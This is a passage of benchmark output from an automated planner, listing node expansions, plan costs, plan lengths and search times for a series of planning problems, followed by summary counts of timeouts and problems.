"num_node_expansions": 18, "plan_cost": 16, "plan_length": 16, "search_time": 0.75, "total_time": 1.95 }, { "num_node_expansions": 13, "plan_cost": 11, "plan_length": 11, "search_time": 0.21, "total_time": 0.47 }, { "num_node_expansions": 19, "plan_cost": 16, "plan_length": 16, "search_time": 0.23, "total_time": 0.5 }, { "num_node_expansions": 24, "plan_cost": 19, "plan_length": 19, "search_time": 1.98, "total_time": 4.66 }, { "num_node_expansions": 21, "plan_cost": 19, "plan_length": 19, "search_time": 1.47, "total_time": 4.19 }, { "num_node_expansions": 17, "plan_cost": 14, "plan_length": 14, "search_time": 1.29, "total_time": 3.99 }, { "num_node_expansions": 23, "plan_cost": 20, "plan_length": 20, "search_time": 1.45, "total_time": 4.32 }, { "num_node_expansions": 10, "plan_cost": 8, "plan_length": 8, "search_time": 0.58, "total_time": 1.46 }, { "num_node_expansions": 17, "plan_cost": 14, "plan_length": 14, "search_time": 0.54, "total_time": 1.32 }, { "num_node_expansions": 15, "plan_cost": 13, "plan_length": 13, "search_time": 0.24, "total_time": 0.63 }, { "num_node_expansions": 25, "plan_cost": 19, "plan_length": 19, "search_time": 0.24, "total_time": 0.62 }, { "num_node_expansions": 14, "plan_cost": 11, "plan_length": 11, "search_time": 1.44, "total_time": 4.23 }, { "num_node_expansions": 31, "plan_cost": 24, "plan_length": 24, "search_time": 1.97, "total_time": 4.85 }, { "num_node_expansions": 18, "plan_cost": 16, "plan_length": 16, "search_time": 2.34, "total_time": 7.02 }, { "num_node_expansions": 18, "plan_cost": 13, "plan_length": 13, "search_time": 2.5, "total_time": 6.92 }, { "num_node_expansions": 17, "plan_cost": 14, "plan_length": 14, "search_time": 1.01, "total_time": 2.56 }, { "num_node_expansions": 28, "plan_cost": 21, "plan_length": 21, "search_time": 0.98, "total_time": 2.43 }, { "num_node_expansions": 15, "plan_cost": 13, "plan_length": 13, "search_time": 0.03, "total_time": 0.12 }, { "num_node_expansions": 13, "plan_cost": 10, "plan_length": 10, "search_time": 0.03, "total_time": 0.11 }, { "num_node_expansions": 13, "plan_cost": 11, "plan_length": 11, "search_time": 0.11, "total_time": 0.29 }, { "num_node_expansions": 20, "plan_cost": 18, "plan_length": 18, "search_time": 0.1, "total_time": 0.28 }, { "num_node_expansions": 13, "plan_cost": 10, "plan_length": 10, "search_time": 0.85, "total_time": 2.07 }, { "num_node_expansions": 17, "plan_cost": 15, "plan_length": 15, "search_time": 0.99, "total_time": 2.53 }, { "num_node_expansions": 16, "plan_cost": 12, "plan_length": 12, "search_time": 0.89, "total_time": 2.2 }, { "num_node_expansions": 14, "plan_cost": 10, "plan_length": 10, "search_time": 0.76, "total_time": 1.88 }, { "num_node_expansions": 19, "plan_cost": 14, "plan_length": 14, "search_time": 0.29, "total_time": 0.63 }, { "num_node_expansions": 17, "plan_cost": 14, "plan_length": 14, "search_time": 0.28, "total_time": 0.62 }, { "num_node_expansions": 9, "plan_cost": 7, "plan_length": 7, "search_time": 0.13, "total_time": 0.33 }, { "num_node_expansions": 9, "plan_cost": 7, "plan_length": 7, "search_time": 0.13, "total_time": 0.35 }, { "num_node_expansions": 14, "plan_cost": 11, "plan_length": 11, "search_time": 0.69, "total_time": 1.85 }, { "num_node_expansions": 19, "plan_cost": 15, "plan_length": 15, "search_time": 0.59, "total_time": 1.44 }, { "num_node_expansions": 20, "plan_cost": 17, "plan_length": 17, "search_time": 2.37, "total_time": 7.75 }, { "num_node_expansions": 21, "plan_cost": 17, "plan_length": 17, "search_time": 1.31, "total_time": 3.64 }, { "num_node_expansions": 22, "plan_cost": 17, "plan_length": 17, "search_time": 1.23, "total_time": 3.3 }, { "num_node_expansions": 21, "plan_cost": 17, "plan_length": 17, "search_time": 0.12, "total_time": 0.29 }, { "num_node_expansions": 22, "plan_cost": 20, "plan_length": 20, "search_time": 0.11, "total_time": 0.28 }, { "num_node_expansions": 26, "plan_cost": 20, "plan_length": 20, "search_time": 2.96, "total_time": 7.54 }, { "num_node_expansions": 16, "plan_cost": 12, "plan_length": 12, "search_time": 0.54, "total_time": 1.39 }, { "num_node_expansions": 25, "plan_cost": 19, "plan_length": 19, "search_time": 0.55, "total_time": 1.42 }, { "num_node_expansions": 16, "plan_cost": 12, "plan_length": 12, "search_time": 0.09, "total_time": 0.23 }, { "num_node_expansions": 16, "plan_cost": 14, "plan_length": 14, "search_time": 0.09, "total_time": 0.23 }, { "num_node_expansions": 21, "plan_cost": 19, "plan_length": 19, "search_time": 0.23, "total_time": 0.55 }, { "num_node_expansions": 23, "plan_cost": 17, "plan_length": 17, "search_time": 0.27, "total_time": 0.57 }, { "num_node_expansions": 13, "plan_cost": 10, "plan_length": 10, "search_time": 1.89, "total_time": 5.64 }, { "num_node_expansions": 17, "plan_cost": 13, "plan_length": 13, "search_time": 1.65, "total_time": 5.2 }, { "num_node_expansions": 24, "plan_cost": 19, "plan_length": 19, "search_time": 1.21, "total_time": 2.68 }, { "num_node_expansions": 21, "plan_cost": 18, "plan_length": 18, "search_time": 1.18, "total_time": 2.87 }, { "num_node_expansions": 15, "plan_cost": 12, "plan_length": 12, "search_time": 0.68, "total_time": 1.55 }, { "num_node_expansions": 11, "plan_cost": 8, "plan_length": 8, "search_time": 0.62, "total_time": 1.29 }, { "num_node_expansions": 20, "plan_cost": 18, "plan_length": 18, "search_time": 0.13, "total_time": 0.32 }, { "num_node_expansions": 27, "plan_cost": 23, "plan_length": 23, "search_time": 0.13, "total_time": 0.33 }, { "num_node_expansions": 15, "plan_cost": 12, "plan_length": 12, "search_time": 1.09, "total_time": 3.19 }, { "num_node_expansions": 16, "plan_cost": 12, "plan_length": 12, "search_time": 1.37, "total_time": 3.65 }, { "num_node_expansions": 20, "plan_cost": 16, "plan_length": 16, "search_time": 0.8, "total_time": 2.01 }, { "num_node_expansions": 26, "plan_cost": 19, "plan_length": 19, "search_time": 0.8, "total_time": 1.88 }, { "num_node_expansions": 18, "plan_cost": 14, "plan_length": 14, "search_time": 0.65, "total_time": 1.74 }, { "num_node_expansions": 16, "plan_cost": 14, "plan_length": 14, "search_time": 0.63, "total_time": 1.67 }, { "num_node_expansions": 29, "plan_cost": 27, "plan_length": 27, "search_time": 0.82, "total_time": 2.2 }, { "num_node_expansions": 18, "plan_cost": 14, "plan_length": 14, "search_time": 0.71, "total_time": 2.03 }, { "num_node_expansions": 14, "plan_cost": 12, "plan_length": 12, "search_time": 0.09, "total_time": 0.24 }, { "num_node_expansions": 17, "plan_cost": 14, "plan_length": 14, "search_time": 0.07, "total_time": 0.23 } ] num_timeouts = 100 num_timeouts = 0 num_problems = 172

22.109804

34

0.462043